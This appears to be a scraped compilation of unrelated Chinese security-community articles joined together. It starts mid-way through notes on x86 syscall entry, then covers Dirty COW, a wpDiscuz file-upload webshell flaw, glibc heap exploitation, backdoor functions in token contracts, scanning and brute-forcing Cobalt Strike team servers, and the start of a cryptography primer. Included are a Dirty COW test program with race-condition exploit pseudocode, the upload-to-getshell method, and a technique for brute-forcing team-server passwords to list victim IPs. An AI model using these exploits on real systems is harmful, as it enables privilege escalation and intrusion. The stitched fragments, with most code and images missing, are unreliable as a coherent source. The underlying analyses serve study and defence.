刚刚切换到内核态时, 所有的通用寄存器与段寄存器都被用户使用, 内核需要想办法找到内核相关信息, 解决方法为:
* 令gs指向描述每个cpu相关的数据结构
* 当要切换到用户态时就调用swapgs把值保存在MSR寄存器中. 由于操作MSR的指令为特权指令, 因此用户态下是无法修改的MSR
## x86_64下处理系统调用
kernel初始化时, 调用arch/x86/kernel/s.c:syscall_init()对MSR进行初始化,
设置entry_SYSCALL_64为处理系统调用的入口点
由于有些指令entry_SYSCALL_64的任务可以分为三部分
* 进入路径: 汇编实现, 目的是保存syscall的现场, 切换到内核态的执行环境, 创建一个适当的环境, 然后调用处理程序
* 处理程序: C实现, 负责具体的处理工作
* 退出路径: 汇编实现, 目的是从中断环境中退出, 切换到用户态, 恢复用户态的程序执行
进入路径部分:
* 先通过swapgs指令切换到内核态的gs, 并保存用户态的gs
* 这是一个特权指令, 但是CPU处理system指令时已经把CS的RPL设为00, 因此现在运行在内核态, 可以执行特权指令
* 然后通过gs保存用户的rsp, 并找到内核态的rsp, 至此切换到内核态堆栈
* 然后保存所有内核态会使用的寄存器到栈上
接下来涉及到slow_path和fast_path相关, 这只是一个优化, 其本质工作就是下面这条指令
sys_call_table是一个函数指针数组, 指向各个系统调用的处理函数
处理函数结束后会ret到entry_SYSCALL_64中, 进入退出路径部分, 这部分进行的工作为
* 把处理函数的返回值写入到内核栈上的pt_regs中
* 利用pt_regs结构恢复用户态的执行环境
* 交换gs, 切回用户态的gs, 并把内核态的gs保存在MSR中
* sysretq, 从syscall中退出
## 总结
i386:
x86_64 | 社区文章 |
# 剖析脏牛4_madvise()与漏洞成因
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 测试程序
int fd;
struct stat st;
void *mem;
void processMem(void)
{
int f = open("/proc/self/mem", O_RDWR);
lseek(f, mem, SEEK_SET);
write(f, "BBB", 3);
printf("%s\n", (char*)mem);
madvise(mem ,100 ,MADV_DONTNEED);
}
int main(void)
{
fd = open("./test", O_RDONLY);
fstat(fd, &st);
mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
processMem();
}
## sys_madvise()
* sys_madvise()首先进行简单的参数处理
* 如果需要的话获取mmap_sem信号量, 然后遍历[start, start+len)内所有的VMA, 对于每个VMA调用madvise_vma()进行处理. 这里我们只关注behavior = MADV_DONTNEED
## madvise_vma()
* madvice_vma()根据behavior把请求分配到对应处理函数, 对于MADV_DONTNEED会调用madvise_dontneed()处理
## madvise_dontneed()
* 排除掉一些无法丢弃的情况后, 会调用zap_page_range()处理
## zap_page_range()
* zap_page_range()会遍历给定范围内所有的VMA, 对每一个VMA调用unmap_single_vma(…)
* 后续会沿着unmap_single_vma() => unmap_page_range() => zap_pud_range() => zap_pmd_range() => zap_pte_range()的路径遍历各级页表项, 最后调用zap_pte_range()遍历每一个PTE
## zap_pte_range()
* zap_pte_range()会释放范围内所有的页, 函数头如下
* 然后遍历范围内所有页, 清空页表中对应的PTE, 并减少对应页的引用计数, 当页的引用计数为0时会被内核回收
## dirty-COW漏洞
* 回想一下利用/proc/self/mem写入进程只读内存区的过程: access_remote_vm()会先调用 **get_user_pages()锁定要写入的页,** get_user_pages()会通过while( !follow_page_mask(foll_flag) ){ faultin_page(foll_flag); } 这个循环分配满足foll_flag要求的页
* __get_user_pages()第一次循环
* faultin_page()判断属于写入只读区域的情况, 因此会调用do_cow_fault()
* do_cow_fault()会复制原始的文件缓存页到一个新页中, 并设置PTE映射到这个新页, 但由于VMA不可写入, 因此这个新页的PTE页没有设置RW标志
* __get_user_pages()第二次循环
* 由于foll_flags中有FOLL_WRITE标志, 但是页对应的PTE没有RW标志, 因此follow_page_mask()判断权限有问题, 再次进入faultin_page()
* faultin_page()判断, 属于写入只读的已存在的页造成的问题, 因此会调用do_wp_page()处理
* do_wp_page()发现对应页是只有一个引用的匿名页,因此会调用wp_page_reuse()直接重用这个页
* wp_page_reuse()由于对应VMA只读, 因此只会给PTE设置一个Dirty标志, 而不会设置RW标志, 然后返回一个VM_FAULT_WRITE表示内核可以写入这个页
* 返回到faultin_page()中, 由于handle_mm_fault()返回了VM_FAULT_WRITE, 因此会去掉FOLL_WRITE标志, 含义为: 虽然此页对应PTE不可写入, 但是已经COW过了, 内核是可以写入的, 后续follow_page_mask()就不要检查能不能写入了
* 如果说在清除FOLL_WRITE标志之后, 第三次调用follow_page_mask()之前, 我们通过madivse()设置此页对应PTE为空会发生什么?
* 首先follow_page_mask()会因为对应PTE为NULL而再次失败, 进入faultin_page(), 但是注意, 这次进入的时候没有FOLL_WRITE标志
* faultin_page()因此设置fault_flags时是没有FAULT_FALG_WRITE标志的, 也就是说faultin_page()对handle_mm_fault()承诺不会写入这个页
* handle_mm_fault()由于pte为none, 并且不要求写入, 因此最终会分派给do_read_fault()处理
* do_read_fault()会查找这片VMA映射的地址空间中, address对应的原始缓存页, 然后返回这个原始缓存页
* 如果是用户映射一片只读内存页到文件, 返回原始缓存页是没有问题的, 因为用户无权对其进行写入. 但是在这里access_remote_vm()后续会调用copy_to_user_page() 写入__get_user_pages()锁定的页, 由此污染了文件的原始缓存页.
* 一段时间后当进行磁盘同步时(sync, kflushd….)内核会把被污染的页面回写到磁盘中, 从而写入特权文件完成攻击
* 那么下一个问题这个条件竞争的时间窗口有多大? 由于faultin_page()返回之后会调用cond_resched()切换到别的任务, 因此时间窗口是非常大的
* 受攻击时对/proc/self/mem进行写入时的执行流程:
* EXP伪代码
Main:
fd = open(filename, O_RDONLY) //打开一个文件
fstat(fd, &st)
map = mmap(NULL, st.st_size , PROT_READ, MAP_PRIVATE, fd, 0) //把文件映射到map指向的内存区域
start Thread1
start Thread2
Thread1:
f = open("/proc/self/mem", O_RDWR) //打开mem文件
while (1):
lseek(f, map, SEEK_SET) //偏移到map映射的区域
write(f, shellcode, strlen(shellcode)) //写入
Thread2:
while (1):
madvise(map, 100, MADV_DONTNEED) //取消映射
## 反思
* 对于进程中的只读内存区域, 如果通过地址进行写入会得到一个段错误, 但是通过mem文件进行写入, 就会得到一个dirty的COW的只读页, 为什么会有这样的差异?
* 对于段错误, 这个很好理解, 但是通过mem文件写入一个进程的只读内存区, 破坏了进程的地址空间. 那么为什么内核还要引入这种外部访问机制呢? 这是为了方便调试器和一些跟踪程序而加入的设计
* 这个漏洞的修复也很简单, COW之后不去掉FOLL_WRITE标志, 而引入一个新的标志FOLL_COW.
* 这样就算进入follow_page_mask()前这个PTE被设为nonoe ,但foll_flags保留了FOLL_WRITE标志, 仍然会要求faultin_page分配一个要写入的页.
* 在follow_page_mask()检查的时候如果foll_flags中设置了FOLL_WRITE要求写入, 那么下面两种情况都会被判断为页可写入
* pte设置了RW标志, 表示页可写入
* flags设置了FOLL_COW标志, 表示这是一个COW之后的页面, 虽然PTE说不可写入, 但是内核实际可以写入
* 修复的diff如下
diff --git a/include/linux/mm.h b/include/linux/mm.h
index e9caec6..ed85879 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,
#define FOLL_TRIED 0x800 /* a retry, previous pass started an IO */
#define FOLL_MLOCK 0x1000 /* lock present pages */
#define FOLL_REMOTE 0x2000 /* we are working on non-current tsk/mm */
+#define FOLL_COW 0x4000 /* internal GUP flag */
typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
void *data);
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2f..22cc22e 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address,
return -EEXIST;
}
+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+ return pte_write(pte) ||
+ ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}
+
static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
@@ -95,7 +105,7 @@ retry:
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
- if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
- *flags &= ~FOLL_WRITE;
+ *flags |= FOLL_COW;
return 0;
} | 社区文章 |
# 下载链接
<https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip>
## 测试
### 环境
* windows phpstudy
* phpstorm
解压插件到`wp-content/plugins`目录下
登录管理员启用插件，这时文章下面评论区
上传带GIF头的php文件
可以看到上传成功，图片地址也在回显中
> <http://127.0.0.1/wordpress/wp-> content/uploads/2020/08/1-1598075857.9448.php>
## 分析
wp-setting.php 将`wp_ajax_nopriv_wmuUploadFiles`写入了$wp_filter
foreach ( wp_get_active_and_valid_plugins() as $plugin ) {
wp_register_plugin_realpath( $plugin );
include_once $plugin;
/**
* Fires once a single activated plugin has loaded.
*
* @since 5.1.0
*
* @param string $plugin Full path to the plugin's main file.
*/
do_action( 'plugin_loaded', $plugin );
}
通过表单action参数插件加载
$action = ( isset( $_REQUEST['action'] ) ) ? $_REQUEST['action'] : '';
wordpress先加载插件
入口文件
上传的关键代码在`wp-content\plugins\wpdiscuz\utils\class.WpdiscuzHelperUpload.php`376行
public function uploadFiles() {
……
require_once(ABSPATH . "wp-admin/includes/image.php");
foreach ($files as $file) {
$error = false;
$extension = pathinfo($file["name"], PATHINFO_EXTENSION); //$extension="php"
$mimeType = $this->getMimeType($file, $extension);
检测文件mime类型
private function getMimeType($file, $extension) {
$mimeType = "";
if (function_exists("mime_content_type")) {
$mimeType = mime_content_type($file["tmp_name"]); //image/gif
} elseif (function_exists("finfo_open") && function_exists("finfo_file")) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file["tmp_name"]);
} elseif ($extension) {
$matches = wp_check_filetype($file["name"], $this->options->content["wmuMimeTypes"]);
$mimeType = empty($matches["type"]) ? "" : $matches["type"];
}
return $mimeType;
}
继续跟进
……
if ($this->isAllowedFileType($mimeType)) {
if (empty($extension)) { //$extension="php" 没进入
……
}
$file["type"] = $mimeType;
} else {
……
}
do_action("wpdiscuz_mu_preupload", $file); //没什么用
if (!$error) {
$attachmentData = $this->uploadSingleFile($file);
`isAllowedFileType`
private function isAllowedFileType($mimeType) {
$isAllowed = false;
if (!empty($this->options->content["wmuMimeTypes"]) && is_array($this->options->content["wmuMimeTypes"])) {
$isAllowed = in_array($mimeType, $this->options->content["wmuMimeTypes"]);
}
return $isAllowed;
}
> $this->options->content["wmuMimeTypes"] 内容
在数组内
> $isAllowed=true
上传操作在
> 340行 $attachmentData = $this->uploadSingleFile($file);
uploadSingleFile
private function uploadSingleFile($file) {
$currentTime = WpdiscuzHelper::getMicrotime();
$attachmentData = [];
$path = $this->wpUploadsPath . "/";
$fName = $file["name"];
$pathInfo = pathinfo($fName);
$realFileName = $pathInfo["filename"];
$ext = empty($pathInfo["extension"]) ? "" : strtolower($pathInfo["extension"]);
$sanitizedName = sanitize_file_name($realFileName);
$cleanFileName = $sanitizedName . "-" . $currentTime . "." . $ext;
$cleanRealFileName = $sanitizedName . "." . $ext;
$fileName = $path . $cleanFileName;
if (in_array($ext, ["jpeg", "jpg"])) {
$this->imageFixOrientation($file["tmp_name"]);
}
$success = apply_filters("wpdiscuz_mu_compress_image", false, $file["tmp_name"], $fileName, $q = 60);
if ($success || @move_uploaded_file($file["tmp_name"], $fileName)) {
到这里已经把文件上传了
上传文件名为`原文件名+时间戳+后缀`
## v7.0.5的改进
isAllowedFileType 对mime的后缀和文件后缀进行比较
private function isAllowedFileType($mimeType, $extension) {
$isAllowed = false;
if (!empty($this->mimeTypes) && is_array($this->mimeTypes)) {
foreach ($this->mimeTypes as $ext => $mimes) {
if ($ext === $extension) {
if ($isAllowed = in_array($mimeType, explode("|", $mimes))) {
break;
}
}
}
}
return $isAllowed;
}
# 总结
整个上传过程只对文件头进行检测，并没有对文件后缀进行检测，导致可以设置一句话木马内容为
> 图片文件头+php代码
，进行getshell | 社区文章 |
# Glibc-2.23 源码分析——free部分上
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
终于抽出时间对glibc动态内存管理部分源码进行初略的探究，试着从源码和动调来分析free函数执行过程和一些pwn的攻击技巧，分析的不是很全面，有错误的地方望提出指正，共同进步。ps:欢迎白帽子们关注
涂鸦智能安全响应中心。
* * *
## Free in fastbin
### 正常情况下的free in fastbin
测试代码
Free -> **libc_free,正常进入 free(p1)时,** free_hook为空，修改
**free_hook为onegadget或者其他payload 可以任意执行**
****
**非mmap空间，进入** int_free()
Chunk_size的检查
Chunk_size <= 0x80 进入 fastbin的处理
对相邻下一块chunk进行size的对齐检查
Fastbin 建立 与串联链表 部分
触发double free 异常
free(p1);
free(p1);
此时free_chunk与 old相等 导致报错
### Double free绕过方式
测试代码
Double free p1需要先释放另一个满足此fastbin size的堆块，修改old
运行结果
再次申请一个fastbin size的chunk，修改chunk的fd指针后，完成use after free，控制fastbin的申请区域
### Use after free
代码
释放堆块后未对指针置空，并且能修改指针的情况下，可以直接use after free
运行结果:
之后第二次的malloc(0x20 ~ 0x2f)的申请 可以请求到构造的fake_chunk地址上。
### Malloc in fastbin
测试代码
Fastbin 处理代码 位于 **int_malloc()，类似于** int_free()中fastbin处理，是一个相互的逆过程
fastbins链表结构为 main_arena + 0x10 -> p2 -> p1->0
对于取出fastbins表头的校验
之后对fastbin[0x20]表进行替换列表头的操作
之后对取出chunk的size进行检测(伪造size需要满足size移位之后等于对应的idx,即 若idx=7时fake_size应满足 0x70 ~
0x7f)
程序运行结果
## Free in unsortedbins
第一次进行free_in_unsortedbin
测试代码
由free() ->
__int_free(),不满足之前对于fastbin的检测后，接着进行下面的逻辑判断，对于top_chunk的保护以及size是否对齐的判断
之后进入 unsortedbin 的处理部分(涉及 chunk overlap绕过技巧)
之后进入 unsortedbin 的链表处理，此时 fwd == bck，之后进行unsortedbin双链表的串联
此时的链表示意图，为了方便展示将fwd 和 bck分开放置
### 堆块向前overlapping
测试代码
通过置空prev_inuse 设置fake prev_size 欺骗unsortedbins的合并堆块机制
构造合适的prev_size 可以使堆块合并在已经被free的unsortedbin上,吞并未被释放的p2,p3
fake_prev_size = size_p1 + size_p2 + size_p3 = 0xb0 + 0x20 + 0x20 = 0xf0
之后重写写上size+ prev_size 的chunk头和下一块堆块的prev_size后，完成堆块的吞并
之后再申请出制定大小的堆块后，可以用于构造fastbin中的use after free
### Unlink
测试代码
How2heap/glibc-2.23/unsafe_unlink.c
Unlink触发过程,伪造上一个堆块已被释放
unlink函数源代码
构造的堆块
Gdb没有挂载到unlink函数 直接分析汇编代码对应源码
p->prev_size 是否为0
builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
****
builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)
之后汇编代码逻辑
目标地址 0x601068(P->fd_nextsize -> bk_nextsize P->bk_nextsize -> fd_nextsize
为同一地址)
目标地址先被写上 p->bk_nextsize(0x601058)
接着写上 p->fd_nextsize(0x601050)
**Unlink构造条件**
1.伪造 被释放堆块的prev_inuse和prev_size
2.伪造被释放堆块的prev_chunk 的 fd_nextsize 和 bk_nextsize
3.fd_nextsize = target – 0x18 bk_nextsize = target – 0x10,目标地址target 被写上
fd_nextsize
## Malloc in unsortedbins
正常处理逻辑
测试代码
对 0x128 的unsortedbins 申请 0x100的chunk
unsortedbin 申请chunk代码段在 _int_malloc()函数中
运行效果:清空unsortedbins的操作为在 main_arena中清空 bins 表
之后 通过bck赋值变量fwd
改变申请的堆块的fd和bk指针
申请出的chunk被串入双链表
之后将申请出的chunk写上正确的size，并将剩余的bin串入 unsortedbins 并且写上size
Remainder 堆块的设置
### House_of_lore
若双链表的bk指针被篡改指向伪造区域，并且在伪造的区域满足fd指针等于victim，申请到的堆地址将可控
测试代码:
how2heap/glibc-2.23/house_of_lore.c
先利用正常情况free一个smallbin进入 unsortedbins
此时双链表正常，之后篡改 unsortedbin的bk指针
之后进入 _int_malloc()的处理的校验逻辑
伪造的堆块被串联进入 bin
再次申请smallbins，申请到了伪造区域
* * *
本文作者：Jambolt@涂鸦智能安全实验室
漏洞悬赏计划：涂鸦智能安全响应中心（<https://src.tuya.com>) 欢迎白帽子来探索。
招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递[[email protected]](mailto:[email protected])，请注明来源。 | 社区文章 |
# 智能合约中的那些后门漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Al1ex @ 知道创宇404区块链安全研究团队
## 前言
智能合约的概念可以追溯到1994年，由Nick
Szabo提出，但直到2008年才出现采用智能合约所需的区块链技术，而最终于2013年，作为以太坊智能合约系统的一部分，智能合约首次出现。
智能合约包含了有关交易的所有信息，只有在满足要求后才会执行结果操作，智能合约和传统纸质合约的区别在于智能合约是由计算机生成的，因此，代码本身解释了参与方的相关义务，与此同时，用户可以根据规则开发自己想要的智能合约。
而随着智能合约普及，合约的安全问题也引起了众多合约开发者和安全研究人员关注，比较典型的就是随之建立的DASP Top10(
<https://www.dasp.co/>)。近期，笔者在对一些智能合约进行代码审计时发现有很多合约存在可疑的后门漏洞，具备特殊权限的地址用户(合约的owner)或合约账号具备控制用户资产的权限，可对任意用户的资产进行销毁操作，本文将对此进行简要分析。近期，笔者在对一些智能合约进行代码审计时发现有很多合约存在可疑的后门漏洞，具备特殊权限的地址用户(合约的owner)或合约账号具备控制用户资产的权限，可对任意用户的资产进行销毁操作，本文将对此进行简要分析。
## 函数漏洞
### burn()
合约地址：<https://etherscan.io/address/0x705051bbfd9f287869a412cba8bc7d112de48e69#code>
利用条件：合约的owner权限
漏洞代码：
漏洞分析：如上图所示在智能合约中提供了burn函数，该函数主要用于销毁其它地址的token，当要销毁的token数量小于目标账户所拥有的token值时就可以成功销毁目标账户的token，且这里的地址可以指定为任意用户的地址，所以只要我们能够调用该函数即可通过赋予
_from为任意地址账户，_
unitAmout为任意数量(不超过from账户拥有的数量)就可以销毁_from账户的代币，下面我们再来看一下此处对于函数调用者身份限定的修饰器—onlyOwner
由以上代码可知，当函数的调用者为合约的owner地址账户时可以销毁任意地址用户的代币，甚至将其归0
### burnFrom()
合约地址：<https://etherscan.io/address/0x365542df3c8c9d096c5f0de24a0d8cf33c19c8fd#code>
利用条件：合约的owner，同时mintingFinished为”False”
漏洞代码：
漏洞分析：如上图所示合约中的burnFrom函数用于销毁代币，但是该函数只能被合约的owner调用，而且由于地址参数可控故合约的owner可以操控任意地址用户的代币，销毁任意地址用户任意数量的代币(数量小于等于用户代币总量)，由于该函数被canMint修饰,所以查看一下该修饰器
之后通过”Read Contract”来查看当前”mintingFinished”的值：
可以看到”mintingFinished”为”False”，即满足”canMint”修饰器条件，所以此时的burnFrom函数可被合约的owner调用来操控任意用户的代币。
### burnTokens
合约地址：<https://etherscan.io/address/0x662abcad0b7f345ab7ffb1b1fbb9df7894f18e66#code>
利用条件：合约的owner权限
漏洞代码：
漏洞分析：如上图所示，burnTokens用于销毁用户的代币，由于销毁的地址参数、销毁的代币数量都可控，所以合约的调用者可以销毁任意用户的代币，但是该函数只能被合约的ICO地址用户调用，下面跟踪一下该账户看看其实现上是否可以
从上面可以看到合约在初始化是对icoContract进行了赋值，下面通过etherscan.io中的readcontract溯源一下：
之后再次进入icoContract中跟踪是否可以成功调用：
从代码中可以看到burnTokens(关于修饰器的跟踪分析与之前类似，这里不再赘述)：
这里的cartaxiToken即为之前的合约地址：
同时发现存在调用的历史记录：<https://etherscan.io/tx/0xf5d125c945e697966703894a400a311dc189d480e625aec1e317abb2434131f4>
### destory()
合约地址：<https://etherscan.io/address/0x27695e09149adc738a978e9a678f99e4c39e9eb9#code>
利用条件：合约的owner权限
漏洞代码：
如上图所示，在智能合约当中提供了destory函数，用于销毁目标账户的代币，在该函数当中增加了对msg.sender、accountBalance的判断，从整个逻辑上可以看到主要有两种销毁途径：
* 途径一：合约的owner赋予allowManuallyBurnTokens为”true”的条件下，地址账户自我销毁自己的代币
* 途径二：无需allowManuallyBurnTokens为”true”的条件，合约的owner销毁任意地址用户的代币
自然，途径一自我销毁代币合情合理，但是途径二却导致合约的owner可以操控任意地址用户的代币，例如：销毁地址用户的所有代币，导致任意地址用户的代币为他人所操控，这自然不是地址用户所期望的。
### destroyTokens()
合约地址：<https://etherscan.io/address/0xf7920b0768ecb20a123fac32311d07d193381d6f#code>
利用条件：Controller地址账户
漏洞代码：
如上图所示，destroyTokens函数用于销毁代币，其中地址参数可控，在函数中只校验了销毁地址账户的代币是否大于要销毁的数量以及当前总发行量是否大于要销毁的数量，之后进行更新代币总量和地址账户的代币数量，不过该函数有onlyController修饰器进行修饰，下面看以下该修饰器的具体内容：
之后通过ReadContract可以看到该controller的地址：
之后再Etherscan中可以查看到该地址对应的为一个地址账户，故而该地址账户可以操控原合约中的任意地址用户的代币：
### destroyIBTCToken
合约地址：<https://etherscan.io/address/0xb7c4a82936194fee52a4e3d4cec3415f74507532#code>
利用条件：合约的owner
漏洞代码：
如上图所示合约中的destroyIBTCToken是用于销毁IBTCToken的，但是由于该函数只能被合约的owner调用，而且要销毁的地址参数to可控，所以合约的owner可以传入任意用户的地址作为参数to，之后销毁任意地址账户的代币，onlyOwner修饰器如下所示：
### melt()
合约地址：<https://etherscan.io/address/0xabc1280a0187a2020cc675437aed400185f86db6#code>
利用条件：合约的owner
漏洞代码：
漏洞分析：如上图所示合约中的melt函数用于销毁代币的token，且该函数只能被合约的CFO调用，同时由于地址参数dst可控，故合约的CFO可以销毁任意地址用户的代币，onlyCFO修饰器代码如下所示
onlyCFO修饰器中的_cfo由构造函数初始化：
#### Sweep()
合约地址：<https://etherscan.io/address/0x4bd70556ae3f8a6ec6c4080a0c327b24325438f3#code>
利用条件：合约的owner，同时mintingFinished为”False”
漏洞代码：
如上图所示，合约中的sweep函数用于转发代币，该函数只能被合约的owner调用，在L167行优先通过allowance进行授权操作代币的操作，之后调用transferFrom函数，并在transferFrom函数中做了相关的减法操作，由此抵消授权操作代币：
之后紧接着又调用了_transfer函数：
在transfer函数中判断转账地址是否为空、进行转账防溢出检查、进行转账操作，通过以上逻辑可以发现由于sweep中的地址参数 _
from、_to可控，而且该函数只能被合约的owner调用，所以合约的owner可以通过该函数操控任意用户的balance，并且将其转向任意用户的地址或者自己的地址。
### zero_fee_transaction
合约地址:
<https://etherscan.io/address/0xD65960FAcb8E4a2dFcb2C2212cb2e44a02e2a57E#code>
利用条件：合约的owner
漏洞代码：
漏洞分析：在智能合约中常见的转账方式大致有2种，一种是直接转账，例如常见的Transfer函数，该函数有两个参数，一个指定代币接受的地址，另一个为转账的额度，例如：
另外一种为授权其他用户代为转账，这里的其他用户类似于一个中介媒介的作用，其他用户可以对授权用户授予的资金额度进行操作，常见的也是transfer函数，不过参数个数不同而已，其中有三个参数，一个为代为转账的地址，一个为接受代币的地址，一个为接受代币的数量，例如：
了解了常见的两种转账方式，下面我们回过头来看一下漏洞代码：
可以看到在函数zero_fee_transaction中进行了以下判断：
1、判断的当前代为转账的额度是否大于当前转账的数量
2、判断当前转账的数量是否大于0
3、防溢出检查
可以发现这里未对当前函数调用者是否具备授权转账进行检查(暂时忽略onlycentralAccount修饰器)以及授权额度进行检查，只对转账额度以及是否溢出进行了检查，显然这里是存在问题的，而且该函数没有修饰词进行修饰，故默认为public，这样一来所有人都可以调用该函数，在这里我们可以看到在不管修饰器onlycentralAccount的情况下我们可以传递任意地址账户为from、任意地址账户为to、以及任意数量(需要小于from地址账户的代币数量)，之后即可无限制的从from地址账户转代币到to账户，直到from地址的代币数量归0。
下面我们看一下onlycentralAccount修饰器对于函数调用者的身份限定：
之后搜索central_account发现central_account由函数set_centralAccount进行赋值操作，此处的修饰器为onlyOwner：
之后查看onlyOwner修饰器可以看到此处需要msg.sender为owner，即合约的owner，在构造函数中进行初始化：
### 文末小结
智能合约主要依托于公链(例如：以太坊)来发行代币并提供代币的转账、销毁、增发等其它逻辑功能，但用户的代币理应由用户自我进行控制(通过交易增加或减少)，并由用户自我决定是否销毁持币数量，而不是由合约的owner或其他特殊的地址账户进行操控。 | 社区文章 |
# 浅析Cobalt Strike Team Server扫描
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Cobalt Strike 是由Strategic
Cyber公司开发的一款商业化渗透测试工具。该软件具有简单易用、可扩展性高等优点，并且具备团队协作等特点，因此被广大黑客、白帽子和安全研究人员等大量装备使用。网络空间测绘就是利用扫描发掘互联网中一切可发掘的资产和目标。Cobalt
Strike 的发掘，是360 Quake团队一直以来的核心目标之一。
在本文中我们将站在蓝方角度思考，通过研究Cobalt Strike客户端与服务端交互的代码逻辑，来发掘出Cobalt Strike Team
Server特征，并且进行进一步探测与分析。
## 逻辑分析
Cobalt Strike 的是C/S（Client-Server）架构，有一个客户端与Team
Server进行通信。首先，简单看下代码。在完成Swing组件的加载后，用户输入用户名、密码等信息后，点击Connect按钮，触发aggressor.dialogs下的Connet类的dialogAction方法。如图所示，代码逻辑会将密码传入一个SecureSocket实例的authenticate方法中。
然后创建数据输出流实例，将\x00\x00\xbe\xef+ 密码长度 + 密码 + 填充字符等数据传给Team
Server，如果返回51966（\x00\x00\xco\xfe）则证明密码正确。
查看服务端的代码认证逻辑(ssl.SecureServerSocket.java)，发现在密码正确后返回51966(\x00\x00\xca\xfe)，密码错误返回0（\x00\x00\x00\x00）。
通过Wireshark抓包如图所示，可以看到客户端发送的密码及填充字符串。
通过以上代码逻辑，可以找到一个识别Cobalt Strike Team Server的方法，流程图及部分代码如下图所示：
为了利用该特征获取更多资产，我们希望把Cobalt Strike 中被控制的IP给提取出来，就是Cobalt Strike 登陆后的Session
Table提取出来，如图所示。
同样先看下代码，在通过密码验证后，会创建一个TeamQueue的实例。
通过查看该类的构造方法，发现在创建该实例的时候，同时启动了两个线程来对TeamQueue中请求和响应进行监控。
如图所示，TeamQueue类的call方法中会根据传入的参数实例化一个Request对象,并添加进队列，之后TeamQueue
Writer线程从队列获取请求对象，使用socket进行发送。
TeamQueue Reader时刻监听着来自Team Server的响应。
以上就是Cobalt
Strike客户端发包和接收响应的大致逻辑。在创建TeamQueue实例后开始调用call方法来发送不同阶段的请求。我们进一步抓包分析。如图所示
结合抓包和查看代码发现客户端与服务端交互的流程如下图所示。
在客户端发送aggressor.ready请求后，表示一切准备就绪，开始和服务端进行数据同步，这其中就有session
table的数据。根据以上的逻辑，然后手动代码实现这几个请求，就能够在识别出Cobalt
Strike后进一步爆破密码，在爆破出密码后提取出目标的受控IP。如图所示。
最终的扫描流程图见附录。
## 扫描结果分析
网络空间测绘始于扫描，不止于扫描。在找到该特征后，我们开始在互联网中进行挖掘。
使用搜索语句： response:”\x00\x00\xca\xfe” AND port: “50050”，可以找到存在弱口令的Cobalt
Strike，我们只对部分主机进行了受控IP的提取，这步骤稍微敏感，大家可以自行操作。
随机登录一台如图：
通过搜索语法 response:”\x00\x00\x00\x00” AND port: “50050” AND service: “http/ssl”
可以找到没有爆破出密码的Cobalt Strike，可以看到共有5173条扫描记录，1049个IP。
## 部分IoC
## 结论
网络空间测绘，始于资产，但不止于资产。
我们认为，主动测绘数据将会与终端行为样本数据、网络流量通信数据一样，是未来网络安全大数据&&威胁情报数据的重要源头。主动测绘数据和基于测绘数据分析后形成的知识将能够极大补充我们的视野，从而开拓出更多的攻击面和领域。
更多网络空间测绘领域研究内容，敬请期待~
## 附录
## 文末福利
360Quake首次推出用户激励计划“当红蓝对抗遇上空间测绘”。
**添加微信：quake_360 邀您入群！** | 社区文章 |
**作者：karmayu@腾讯安全云鼎实验室
公众号：<https://mp.weixin.qq.com/s/fdq9ar_bl5XH5gV1N-Zv3w>
相关阅读：[《密码朋克的社会实验（一）：开灯看暗网》](https://paper.seebug.org/762/
"《密码朋克的社会实验（一）：开灯看暗网》")**
密码朋克奠定了互联网的许多底层技术和通信协议，从 RSA 到 HTTPS，从 Tor 到区块链。上一篇聊了暗网，这次我想聊聊它背后的密码学。
密码学远不是一篇文章可以聊清楚，大概连当目录都不够。因此，我的目标仅仅是，写一篇小学生也能懂的密码学入门。
### **信息和编码**
看过一个有意思的说法，宇宙如此纷繁，但归根结底就是三件事：信息、结构和通信。物质则是一种结构化的信息。
整个宇宙无尽的信息汪洋中，万物有无数种通信方式。而人类，进化出眼睛、耳朵、鼻子、舌头等接口与外界进行信息交换，导致神经系统或细胞物质的变化，再由大脑解码分析出外界的信息，从而达到通信的目的。
另一方面，毕竟人类不能像阿凡达一样，可以通过头发接入神树来与同类进行通信。建立在通信需求上，则产生了语言，而非面对面通信的需求又进一步产生了文字。
**文字的本质则是信息的符号化。**
借由文字，我们可以做到跨越时间和空间的通信，例如各种古代器物上的铭文。
（西周·散氏盘·局部）
到了信息化时代，由于信息传输的需要，文字（声音、图像）信息，需要被进一步抽象成数字化，于是产生了例如摩尔斯电码、ASCII 码、Unicode
码等信息编码方式。例如：
* 在摩尔斯电码中，字母「A」使用「·-」表示。
* 在 ASCII 码中字母「A」使用十六进制数「0x41」表示。
* 在 Unicode 码中汉字「山」使用十六进制数「0x5c71」表示。
（信息逐步抽象过程）
当信息经过这个逐步抽象的发展过程之后，随着人类文明的发展，我们便进入了到了数字化时代，也可以开始讨论密码学了。
